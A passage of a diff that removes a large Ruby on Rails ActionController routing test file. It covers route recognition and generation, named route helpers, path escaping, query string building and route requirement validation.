-      {:controller => 'admin/user', :action => 'index'}
-    )
-  end
-
-  def test_paths_escaped
-    rs.draw do |map|
-      map.path 'file/*path', :controller => 'content', :action => 'show_file'
-      map.connect ':controller/:action/:id'
-    end
-
-    # No + to space in URI escaping, only for query params.
-    results = rs.recognize_path "/file/hello+world/how+are+you%3F"
-    assert results, "Recognition should have succeeded"
-    assert_equal ['hello+world', 'how+are+you?'], results[:path]
-
-    # Use %20 for space instead.
-    results = rs.recognize_path "/file/hello%20world/how%20are%20you%3F"
-    assert results, "Recognition should have succeeded"
-    assert_equal ['hello world', 'how are you?'], results[:path]
-
-    results = rs.recognize_path "/file"
-    assert results, "Recognition should have succeeded"
-    assert_equal [], results[:path]
-  end
-
-  def test_paths_slashes_unescaped_with_ordered_parameters
-    rs.add_named_route :path, '/file/*path', :controller => 'content'
-
-    # No / to %2F in URI, only for query params.
-    x = setup_for_named_route
-    assert_equal("/file/hello/world", x.send(:path_path, 'hello/world'))
-  end
-
-  def test_non_controllers_cannot_be_matched
-    rs.draw do |map|
-      map.connect ':controller/:action/:id'
-    end
-    assert_raise(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
-  end
-
-  def test_paths_do_not_accept_defaults
-    assert_raise(ActionController::RoutingError) do
-      rs.draw do |map|
-        map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => %w(fake default)
-        map.connect ':controller/:action/:id'
-      end
-    end
-
-    rs.draw do |map|
-      map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => []
-      map.connect ':controller/:action/:id'
-    end
-  end
-
-  def test_should_list_options_diff_when_routing_requirements_dont_match
-    rs.draw do |map|
-      map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
-    end
-    exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post") }
-    assert_match(/^post_url failed to generate/, exception.message)
-    from_match = exception.message.match(/from \{[^\}]+\}/).to_s
-    assert_match(/:bad_param=>"foo"/,   from_match)
-    assert_match(/:action=>"show"/,     from_match)
-    assert_match(/:controller=>"post"/, from_match)
-
-    expected_match = exception.message.match(/expected: \{[^\}]+\}/).to_s
-    assert_no_match(/:bad_param=>"foo"/,   expected_match)
-    assert_match(   /:action=>"show"/,     expected_match)
-    assert_match(   /:controller=>"post"/, expected_match)
-
-    diff_match = exception.message.match(/diff: \{[^\}]+\}/).to_s
-    assert_match(   /:bad_param=>"foo"/,   diff_match)
-    assert_no_match(/:action=>"show"/,     diff_match)
-    assert_no_match(/:controller=>"post"/, diff_match)
-  end
-
-  # this specifies the case where your formerly would get a very confusing error message with an empty diff
-  def test_should_have_better_error_message_when_options_diff_is_empty
-    rs.draw do |map|
-      map.content '/content/:query', :controller => 'content', :action => 'show'
-    end
-
-    exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'content', :action => 'show', :use_route => "content") }
-    assert_match %r[:action=>"show"], exception.message
-    assert_match %r[:controller=>"content"], exception.message
-    assert_match %r[you may have ambiguous routes, or you may need to supply additional parameters for this route], exception.message
-    assert_match %r[content_url has the following required parameters: \["content", :query\] - are they all satisfied?], exception.message
-  end
-
-  def test_dynamic_path_allowed
-    rs.draw do |map|
-      map.connect '*path', :controller => 'content', :action => 'show_file'
-    end
-
-    assert_equal '/pages/boo', rs.generate(:controller => 'content', :action => 'show_file', :path => %w(pages boo))
-  end
-
-  def test_dynamic_recall_paths_allowed
-    rs.draw do |map|
-      map.connect '*path', :controller => 'content', :action => 'show_file'
-    end
-
-    recall_path = ActionController::Routing::PathSegment::Result.new(%w(pages boo))
-    assert_equal '/pages/boo', rs.generate({}, :controller => 'content', :action => 'show_file', :path => recall_path)
-  end
-
-  def test_backwards
-    rs.draw do |map|
-      map.connect 'page/:id/:action', :controller => 'pages', :action => 'show'
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/page/20', rs.generate({:id => 20}, {:controller => 'pages', :action => 'show'})
-    assert_equal '/page/20', rs.generate(:controller => 'pages', :id => 20, :action => 'show')
-    assert_equal '/pages/boo', rs.generate(:controller => 'pages', :action => 'boo')
-  end
-
-  def test_route_with_fixnum_default
-    rs.draw do |map|
-      map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page')
-    assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => 1)
-    assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => '1')
-    assert_equal '/page/10', rs.generate(:controller => 'content', :action => 'show_page', :id => 10)
-
-    assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page"))
-    assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page/1"))
-    assert_equal({:controller => "content", :action => 'show_page', :id => '10'}, rs.recognize_path("/page/10"))
-  end
-
-  # For newer revision
-  def test_route_with_text_default
-    rs.draw do |map|
-      map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/page/foo', rs.generate(:controller => 'content', :action => 'show_page', :id => 'foo')
-    assert_equal({:controller => "content", :action => 'show_page', :id => 'foo'}, rs.recognize_path("/page/foo"))
-
-    token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in russian
-    token.force_encoding("UTF-8") if token.respond_to?(:force_encoding)
-    escaped_token = CGI::escape(token)
-
-    assert_equal '/page/' + escaped_token, rs.generate(:controller => 'content', :action => 'show_page', :id => token)
-    assert_equal({:controller => "content", :action => 'show_page', :id => token}, rs.recognize_path("/page/#{escaped_token}"))
-  end
-
-  def test_action_expiry
-    @rs.draw {|m| m.connect ':controller/:action/:id' }
-    assert_equal '/content', rs.generate({:controller => 'content'}, {:controller => 'content', :action => 'show'})
-  end
-
-  def test_recognition_with_uppercase_controller_name
-    @rs.draw {|m| m.connect ':controller/:action/:id' }
-    assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/Content"))
-    assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/ConTent/list"))
-    assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/CONTENT/show/10"))
-
-    # these used to work, before the routes rewrite, but support for this was pulled in the new version...
-    #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/NewsFeed"))
-    #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/News_Feed"))
-  end
-
-  def test_requirement_should_prevent_optional_id
-    rs.draw do |map|
-      map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
-    end
-
-    assert_equal '/post/10', rs.generate(:controller => 'post', :action => 'show', :id => 10)
-
-    assert_raise ActionController::RoutingError do
-      rs.generate(:controller => 'post', :action => 'show')
-    end
-  end
-
-  def test_both_requirement_and_optional
-    rs.draw do |map|
-      map.blog('test/:year', :controller => 'post', :action => 'show',
-        :defaults => { :year => nil },
-        :requirements => { :year => /\d{4}/ }
-      )
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/test', rs.generate(:controller => 'post', :action => 'show')
-    assert_equal '/test', rs.generate(:controller => 'post', :action => 'show', :year => nil)
-
-    x = setup_for_named_route
-    assert_equal("http://test.host/test",
-                 x.send(:blog_url))
-  end
-
-  def test_set_to_nil_forgets
-    rs.draw do |map|
-      map.connect 'pages/:year/:month/:day', :controller => 'content', :action => 'list_pages', :month => nil, :day => nil
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/pages/2005',
-      rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005)
-    assert_equal '/pages/2005/6',
-      rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6)
-    assert_equal '/pages/2005/6/12',
-      rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12)
-
-    assert_equal '/pages/2005/6/4',
-      rs.generate({:day => 4}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
-
-    assert_equal '/pages/2005/6',
-      rs.generate({:day => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
-
-    assert_equal '/pages/2005',
-      rs.generate({:day => nil, :month => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
-  end
-
-  def test_url_with_no_action_specified
-    rs.draw do |map|
-      map.connect '', :controller => 'content'
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
-    assert_equal '/', rs.generate(:controller => 'content')
-  end
-
-  def test_named_url_with_no_action_specified
-    rs.draw do |map|
-      map.home '', :controller => 'content'
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
-    assert_equal '/', rs.generate(:controller => 'content')
-
-    x = setup_for_named_route
-    assert_equal("http://test.host/",
-                 x.send(:home_url))
-  end
-
-  def test_url_generated_when_forgetting_action
-    [{:controller => 'content', :action => 'index'}, {:controller => 'content'}].each do |hash|
-      rs.draw do |map|
-        map.home '', hash
-        map.connect ':controller/:action/:id'
-      end
-      assert_equal '/', rs.generate({:action => nil}, {:controller => 'content', :action => 'hello'})
-      assert_equal '/', rs.generate({:controller => 'content'})
-      assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
-    end
-  end
-
-  def test_named_route_method
-    rs.draw do |map|
-      map.categories 'categories', :controller => 'content', :action => 'categories'
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/categories', rs.generate(:controller => 'content', :action => 'categories')
-    assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
-  end
-
-  def test_named_routes_array
-    test_named_route_method
-    assert_equal [:categories], rs.named_routes.names
-  end
-
-  def test_nil_defaults
-    rs.draw do |map|
-      map.connect 'journal',
-        :controller => 'content',
-        :action => 'list_journal',
-        :date => nil, :user_id => nil
-      map.connect ':controller/:action/:id'
-    end
-
-    assert_equal '/journal', rs.generate(:controller => 'content', :action => 'list_journal', :date => nil, :user_id => nil)
-  end
-
-  def setup_request_method_routes_for(method)
-    @request = ActionController::TestRequest.new
-    @request.env["REQUEST_METHOD"] = method
-    @request.request_uri = "/match"
-
-    rs.draw do |r|
-      r.connect '/match', :controller => 'books', :action => 'get', :conditions => { :method => :get }
-      r.connect '/match', :controller => 'books', :action => 'post', :conditions => { :method => :post }
-      r.connect '/match', :controller => 'books', :action => 'put', :conditions => { :method => :put }
-      r.connect '/match', :controller => 'books', :action => 'delete', :conditions => { :method => :delete }
-    end
-  end
-
-  %w(GET POST PUT DELETE).each do |request_method|
-    define_method("test_request_method_recognized_with_#{request_method}") do
-      begin
-        Object.const_set(:BooksController, Class.new(ActionController::Base))
-
-        setup_request_method_routes_for(request_method)
-
-        assert_nothing_raised { rs.recognize(@request) }
-        assert_equal request_method.downcase, @request.path_parameters[:action]
-      ensure
-        Object.send(:remove_const, :BooksController) rescue nil
-      end
-    end
-  end
-
-  def test_recognize_array_of_methods
-    Object.const_set(:BooksController, Class.new(ActionController::Base))
-    rs.draw do |r|
-      r.connect '/match', :controller => 'books', :action => 'get_or_post', :conditions => { :method => [:get, :post] }
-      r.connect '/match', :controller => 'books', :action => 'not_get_or_post'
-    end
-
-    @request = ActionController::TestRequest.new
-    @request.env["REQUEST_METHOD"] = 'POST'
-    @request.request_uri = "/match"
-    assert_nothing_raised { rs.recognize(@request) }
-    assert_equal 'get_or_post', @request.path_parameters[:action]
-
-    # have to recreate or else the RouteSet uses a cached version:
-    @request = ActionController::TestRequest.new
-    @request.env["REQUEST_METHOD"] = 'PUT'
-    @request.request_uri = "/match"
-    assert_nothing_raised { rs.recognize(@request) }
-    assert_equal 'not_get_or_post', @request.path_parameters[:action]
-  ensure
-    Object.send(:remove_const, :BooksController) rescue nil
-  end
-
-  def test_subpath_recognized
-    Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
-
-    rs.draw do |r|
-      r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
-      r.connect '/items/:id/:action', :controller => 'subpath_books'
-      r.connect '/posts/new/:action', :controller => 'subpath_books'
-      r.connect '/posts/:id', :controller => 'subpath_books', :action => "show"
-    end
-
-    hash = rs.recognize_path "/books/17/edit"
-    assert_not_nil hash
-    assert_equal %w(subpath_books 17 edit), [hash[:controller], hash[:id], hash[:action]]
-
-    hash = rs.recognize_path "/items/3/complete"
-    assert_not_nil hash
-    assert_equal %w(subpath_books 3 complete), [hash[:controller], hash[:id], hash[:action]]
-
-    hash = rs.recognize_path "/posts/new/preview"
-    assert_not_nil hash
-    assert_equal %w(subpath_books preview), [hash[:controller], hash[:action]]
-
-    hash = rs.recognize_path "/posts/7"
-    assert_not_nil hash
-    assert_equal %w(subpath_books show 7), [hash[:controller], hash[:action], hash[:id]]
-  ensure
-    Object.send(:remove_const, :SubpathBooksController) rescue nil
-  end
-
-  def test_subpath_generated
-    Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
-
-    rs.draw do |r|
-      r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
-      r.connect '/items/:id/:action', :controller => 'subpath_books'
-      r.connect '/posts/new/:action', :controller => 'subpath_books'
-    end
-
-    assert_equal "/books/7/edit", rs.generate(:controller => "subpath_books", :id => 7, :action => "edit")
-    assert_equal "/items/15/complete", rs.generate(:controller => "subpath_books", :id => 15, :action => "complete")
-    assert_equal "/posts/new/preview", rs.generate(:controller => "subpath_books", :action => "preview")
-  ensure
-    Object.send(:remove_const, :SubpathBooksController) rescue nil
-  end
-
-  def test_failed_requirements_raises_exception_with_violated_requirements
-    rs.draw do |r|
-      r.foo_with_requirement 'foos/:id', :controller=>'foos', :requirements=>{:id=>/\d+/}
-    end
-
-    x = setup_for_named_route
-    assert_raise(ActionController::RoutingError) do
-      x.send(:foo_with_requirement_url, "I am Against the requirements")
-    end
-  end
-
-  def test_routes_changed_correctly_after_clear
-    ActionController::Base.optimise_named_routes = true
-    rs = ::ActionController::Routing::RouteSet.new
-    rs.draw do |r|
-      r.connect 'ca', :controller => 'ca', :action => "aa"
-      r.connect 'cb', :controller => 'cb', :action => "ab"
-      r.connect 'cc', :controller => 'cc', :action => "ac"
-      r.connect ':controller/:action/:id'
-      r.connect ':controller/:action/:id.:format'
-    end
-
-    hash = rs.recognize_path "/cc"
-
-    assert_not_nil hash
-    assert_equal %w(cc ac), [hash[:controller], hash[:action]]
-
-    rs.draw do |r|
-      r.connect 'cb', :controller => 'cb', :action => "ab"
-      r.connect 'cc', :controller => 'cc', :action => "ac"
-      r.connect ':controller/:action/:id'
-      r.connect ':controller/:action/:id.:format'
-    end
-
-    hash = rs.recognize_path "/cc"
-
-    assert_not_nil hash
-    assert_equal %w(cc ac), [hash[:controller], hash[:action]]
-
-  end
-end
-
-class RouteTest < Test::Unit::TestCase
-  def setup
-    @route = ROUTING::Route.new
-  end
-
-  def slash_segment(is_optional = false)
-    ROUTING::DividerSegment.new('/', :optional => is_optional)
-  end
-
-  def default_route
-    unless defined?(@default_route)
-      segments = []
-      segments << ROUTING::StaticSegment.new('/', :raw => true)
-      segments << ROUTING::DynamicSegment.new(:controller)
-      segments << slash_segment(:optional)
-      segments << ROUTING::DynamicSegment.new(:action, :default => 'index', :optional => true)
-      segments << slash_segment(:optional)
-      segments << ROUTING::DynamicSegment.new(:id, :optional => true)
-      segments << slash_segment(:optional)
-      @default_route = ROUTING::Route.new(segments).freeze
-    end
-    @default_route
-  end
-
-  def test_default_route_recognition
-    expected = {:controller => 'accounts', :action => 'show', :id => '10'}
-    assert_equal expected, default_route.recognize('/accounts/show/10')
-    assert_equal expected, default_route.recognize('/accounts/show/10/')
-
-    expected[:id] = 'jamis'
-    assert_equal expected, default_route.recognize('/accounts/show/jamis/')
-
-    expected.delete :id
-    assert_equal expected, default_route.recognize('/accounts/show')
-    assert_equal expected, default_route.recognize('/accounts/show/')
-
-    expected[:action] = 'index'
-    assert_equal expected, default_route.recognize('/accounts/')
-    assert_equal expected, default_route.recognize('/accounts')
-
-    assert_equal nil, default_route.recognize('/')
-    assert_equal nil, default_route.recognize('/accounts/how/goood/it/is/to/be/free')
-  end
-
-  def test_default_route_should_omit_default_action
-    o = {:controller => 'accounts', :action => 'index'}
-    assert_equal '/accounts', default_route.generate(o, o, {})
-  end
-
-  def test_default_route_should_include_default_action_when_id_present
-    o = {:controller => 'accounts', :action => 'index', :id => '20'}
-    assert_equal '/accounts/index/20', default_route.generate(o, o, {})
-  end
-
-  def test_default_route_should_work_with_action_but_no_id
-    o = {:controller => 'accounts', :action => 'list_all'}
-    assert_equal '/accounts/list_all', default_route.generate(o, o, {})
-  end
-
-  def test_default_route_should_uri_escape_pluses
-    expected = { :controller => 'accounts', :action => 'show', :id => 'hello world' }
-    assert_equal expected, default_route.recognize('/accounts/show/hello world')
-    assert_equal expected, default_route.recognize('/accounts/show/hello%20world')
-    assert_equal '/accounts/show/hello%20world', default_route.generate(expected, expected, {})
-
-    expected[:id] = 'hello+world'
-    assert_equal expected, default_route.recognize('/accounts/show/hello+world')
-    assert_equal expected, default_route.recognize('/accounts/show/hello%2Bworld')
-    assert_equal '/accounts/show/hello+world', default_route.generate(expected, expected, {})
-  end
-
-  def test_matches_controller_and_action
-    # requirement_for should only be called for the action and controller _once_
-    @route.expects(:requirement_for).with(:controller).times(1).returns('pages')
-    @route.expects(:requirement_for).with(:action).times(1).returns('show')
-
-    @route.requirements = {:controller => 'pages', :action => 'show'}
-    assert @route.matches_controller_and_action?('pages', 'show')
-    assert !@route.matches_controller_and_action?('not_pages', 'show')
-    assert !@route.matches_controller_and_action?('pages', 'not_show')
-  end
-
-  def test_parameter_shell
-    page_url = ROUTING::Route.new
-    page_url.requirements = {:controller => 'pages', :action => 'show', :id => /\d+/}
-    assert_equal({:controller => 'pages', :action => 'show'}, page_url.parameter_shell)
-  end
-
-  def test_defaults
-    route = ROUTING::RouteBuilder.new.build '/users/:id.:format', :controller => "users", :action => "show", :format => "html"
-    assert_equal(
-      { :controller => "users", :action => "show", :format => "html" },
-      route.defaults)
-  end
-
-  def test_builder_complains_without_controller
-    assert_raise(ArgumentError) do
-      ROUTING::RouteBuilder.new.build '/contact', :contoller => "contact", :action => "index"
-    end
-  end
-
-  def test_significant_keys_for_default_route
-    keys = default_route.significant_keys.sort_by {|k| k.to_s }
-    assert_equal [:action, :controller, :id], keys
-  end
-
-  def test_significant_keys
-    segments = []
-    segments << ROUTING::StaticSegment.new('/', :raw => true)
-    segments << ROUTING::StaticSegment.new('user')
-    segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
-    segments << ROUTING::DynamicSegment.new(:user)
-    segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
-
-    requirements = {:controller => 'users', :action => 'show'}
-
-    user_url = ROUTING::Route.new(segments, requirements)
-    keys = user_url.significant_keys.sort_by { |k| k.to_s }
-    assert_equal [:action, :controller, :user], keys
-  end
-
-  def test_build_empty_query_string
-    assert_equal '', @route.build_query_string({})
-  end
-
-  def test_build_query_string_with_nil_value
-    assert_equal '', @route.build_query_string({:x => nil})
-  end
-
-  def test_simple_build_query_string
-    assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => '1', :y => '2'))
-  end
-
-  def test_convert_ints_build_query_string
-    assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => 1, :y => 2))
-  end
-
-  def test_escape_spaces_build_query_string
-    assert_equal '?x=hello+world&y=goodbye+world', order_query_string(@route.build_query_string(:x => 'hello world', :y => 'goodbye world'))
-  end
-
-  def test_expand_array_build_query_string
-    assert_equal '?x%5B%5D=1&x%5B%5D=2', order_query_string(@route.build_query_string(:x => [1, 2]))
-  end
-
-  def test_escape_spaces_build_query_string_selected_keys
-    assert_equal '?x=hello+world', order_query_string(@route.build_query_string({:x => 'hello world', :y => 'goodbye world'}, [:x]))
-  end
-
-  private
-    def order_query_string(qs)
-      '?' + qs[1..-1].split('&').sort.join('&')
-    end
-end
-
-class RouteSetTest < ActiveSupport::TestCase
-  def set
-    @set ||= ROUTING::RouteSet.new
-  end
-
-  def request
-    @request ||= ActionController::TestRequest.new
-  end
-
-  def test_generate_extras
-    set.draw { |m| m.connect ':controller/:action/:id' }
-    path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-    assert_equal "/foo/bar/15", path
-    assert_equal %w(that this), extras.map(&:to_s).sort
-  end
-
-  def test_extra_keys
-    set.draw { |m| m.connect ':controller/:action/:id' }
-    extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-    assert_equal %w(that this), extras.map(&:to_s).sort
-  end
-
-  def test_generate_extras_not_first
-    set.draw do |map|
-      map.connect ':controller/:action/:id.:format'
-      map.connect ':controller/:action/:id'
-    end
-    path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-    assert_equal "/foo/bar/15", path
-    assert_equal %w(that this), extras.map(&:to_s).sort
-  end
-
-  def test_generate_not_first
-    set.draw do |map|
-      map.connect ':controller/:action/:id.:format'
-      map.connect ':controller/:action/:id'
-    end
-    assert_equal "/foo/bar/15?this=hello", set.generate(:controller => "foo", :action => "bar", :id => 15, :this => "hello")
-  end
-
-  def test_extra_keys_not_first
-    set.draw do |map|
-      map.connect ':controller/:action/:id.:format'
-      map.connect ':controller/:action/:id'
-    end
-    extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
-    assert_equal %w(that this), extras.map(&:to_s).sort
-  end
-
-  def test_draw
-    assert_equal 0, set.routes.size
-    set.draw do |map|
-      map.connect '/hello/world', :controller => 'a', :action => 'b'
-    end
-    assert_equal 1, set.routes.size
-  end
-
-  def test_draw_symbol_controller_name
-    assert_equal 0, set.routes.size
-    set.draw do |map|
-      map.connect '/users/index', :controller => :users, :action => :index
-    end
-    @request = ActionController::TestRequest.new
-    @request.request_uri = '/users/index'
-    assert_nothing_raised { set.recognize(@request) }
-    assert_equal 1, set.routes.size
-  end
-
-  def test_named_draw
-    assert_equal 0, set.routes.size
-    set.draw do |map|
-      map.hello '/hello/world', :controller => 'a', :action => 'b'
-    end
-    assert_equal 1, set.routes.size
-    assert_equal set.routes.first, set.named_routes[:hello]
-  end
-
-  def test_later_named_routes_take_precedence
-    set.draw do |map|
-      map.hello '/hello/world', :controller => 'a', :action => 'b'
-      map.hello '/hello', :controller => 'a', :action => 'b'
-    end
-    assert_equal set.routes.last, set.named_routes[:hello]
-  end
-
-  def setup_named_route_test
-    set.draw do |map|
-      map.show '/people/:id', :controller => 'people', :action => 'show'
-      map.index '/people', :controller => 'people', :action => 'index'
-      map.multi '/people/go/:foo/:bar/joe/:id', :controller => 'people', :action => 'multi'
-      map.users '/admin/users', :controller => 'admin/users', :action => 'index'
-    end
-
-    klass = Class.new(MockController)
-    set.install_helpers(klass)
-    klass.new(set)
-  end
-
-  def test_named_route_hash_access_method
-    controller = setup_named_route_test
-
-    assert_equal(
-      { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => false },
-      controller.send(:hash_for_show_url, :id => 5))
-
-    assert_equal(
-      { :controller => 'people', :action => 'index', :use_route => :index, :only_path => false },
-      controller.send(:hash_for_index_url))
-
-    assert_equal(
-      { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => true },
-      controller.send(:hash_for_show_path, :id => 5)
-    )
-  end
-
-  def test_named_route_url_method
-    controller = setup_named_route_test
-
-    assert_equal "http://test.host/people/5", controller.send(:show_url, :id => 5)
-    assert_equal "/people/5", controller.send(:show_path, :id => 5)
-
-    assert_equal "http://test.host/people", controller.send(:index_url)
-    assert_equal "/people", controller.send(:index_path)
-
-    assert_equal "http://test.host/admin/users", controller.send(:users_url)
-    assert_equal '/admin/users', controller.send(:users_path)
-    assert_equal '/admin/users', set.generate(controller.send(:hash_for_users_url), {:controller => 'users', :action => 'index'})
-  end
-
-  def test_named_route_url_method_with_anchor
-    controller = setup_named_route_test
-
-    assert_equal "http://test.host/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
-    assert_equal "/people/5#location", controller.send(:show_path, :id => 5, :anchor => 'location')
-
-    assert_equal "http://test.host/people#location", controller.send(:index_url, :anchor => 'location')
-    assert_equal "/people#location", controller.send(:index_path, :anchor => 'location')
-
-    assert_equal "http://test.host/admin/users#location", controller.send(:users_url, :anchor => 'location')
-    assert_equal '/admin/users#location', controller.send(:users_path, :anchor => 'location')
-
-    assert_equal "http://test.host/people/go/7/hello/joe/5#location",
-      controller.send(:multi_url, 7, "hello", 5, :anchor => 'location')
-
-    assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar#location",
-      controller.send(:multi_url, 7, "hello", 5, :baz => "bar", :anchor => 'location')
-
-    assert_equal "http://test.host/people?baz=bar#location",
-      controller.send(:index_url, :baz => "bar", :anchor => 'location')
-  end
-
-  def test_named_route_url_method_with_port
-    controller = setup_named_route_test
-    assert_equal "http://test.host:8080/people/5", controller.send(:show_url, 5, :port=>8080)
-  end
-
-  def test_named_route_url_method_with_host
-    controller = setup_named_route_test
-    assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, :host=>"some.example.com")
-  end
-
-  def test_named_route_url_method_with_protocol
-    controller = setup_named_route_test
-    assert_equal "https://test.host/people/5", controller.send(:show_url, 5, :protocol => "https")
-  end
-
-  def test_named_route_url_method_with_ordered_parameters
-    controller = setup_named_route_test
-    assert_equal "http://test.host/people/go/7/hello/joe/5",
-      controller.send(:multi_url, 7, "hello", 5)
-  end
-
-  def test_named_route_url_method_with_ordered_parameters_and_hash
-    controller = setup_named_route_test
-    assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar",
-      controller.send(:multi_url, 7, "hello", 5, :baz => "bar")
-  end
-
-  def test_named_route_url_method_with_ordered_parameters_and_empty_hash
-    controller = setup_named_route_test
-    assert_equal "http://test.host/people/go/7/hello/joe/5",
-      controller.send(:multi_url, 7, "hello", 5, {})
-  end
-
-  def test_named_route_url_method_with_no_positional_arguments
-    controller = setup_named_route_test
-    assert_equal "http://test.host/people?baz=bar",
-      controller.send(:index_url, :baz => "bar")
-  end
-
-  def test_draw_default_route
-    ActionController::Routing.with_controllers(['users']) do
-      set.draw do |map|
-        map.connect '/:controller/:action/:id'
-      end
-
-      assert_equal 1, set.routes.size
-      route = set.routes.first
-
-      assert route.segments.last.optional?
-
-      assert_equal '/users/show/10', set.generate(:controller => 'users', :action => 'show', :id => 10)
-      assert_equal '/users/index/10', set.generate(:controller => 'users', :id => 10)
-
-      assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10'))
-      assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10/'))
-    end
-  end
-
-  def test_draw_default_route_with_default_controller
-    ActionController::Routing.with_controllers(['users']) do
-      set.draw do |map|
-        map.connect '/:controller/:action/:id', :controller => 'users'
-      end
-      assert_equal({:controller => 'users', :action => 'index'}, set.recognize_path('/'))
-    end
-  end
-
-  def test_route_with_parameter_shell
-    ActionController::Routing.with_controllers(['users', 'pages']) do
-      set.draw do |map|
-        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/
-        map.connect '/:controller/:action/:id'
-      end
-
-      assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
-      assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
-      assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
-
-      assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
-      assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
-    end
-  end
-
-  def test_route_requirements_with_anchor_chars_are_invalid
-    assert_raise ArgumentError do
-      set.draw do |map|
-        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /^\d+/
-      end
-    end
-    assert_raise ArgumentError do
-      set.draw do |map|
-        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\A\d+/
-      end
-    end
-    assert_raise ArgumentError do
-      set.draw do |map|
-        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+$/
-      end
-    end
-    assert_raise ArgumentError do
-      set.draw do |map|
-        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\Z/
-      end
-    end
-    assert_raise ArgumentError do
-      set.draw do |map|
-        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\z/
-      end
-    end
-    assert_nothing_raised do
-      set.draw do |map|
-        map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/, :name => /^(david|jamis)/
-      end
-      assert_raise ActionController::RoutingError do
-        set.generate :controller => 'pages', :action => 'show', :id => 10
-      end
-    end
-  end
-
-  def test_route_requirements_with_invalid_http_method_is_invalid
-    assert_raise ArgumentError do
-      set.draw do |map|
-        map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :invalid}
-      end
-    end
-  end
-
-  def test_route_requirements_with_options_method_condition_is_valid
-    assert_nothing_raised do
-      set.draw do |map|
-        map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :options}
-      end
-    end
-  end
-
-  def test_route_requirements_with_head_method_condition_is_invalid
-    assert_raise ArgumentError do
-      set.draw do |map|
-        map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :head}
-      end
-    end
-  end
-
-  def test_non_path_route_requirements_match_all
-    set.draw do |map|
-      map.connect 'page/37s', :controller => 'pages', :action => 'show', :name => /(jamis|david)/
-    end
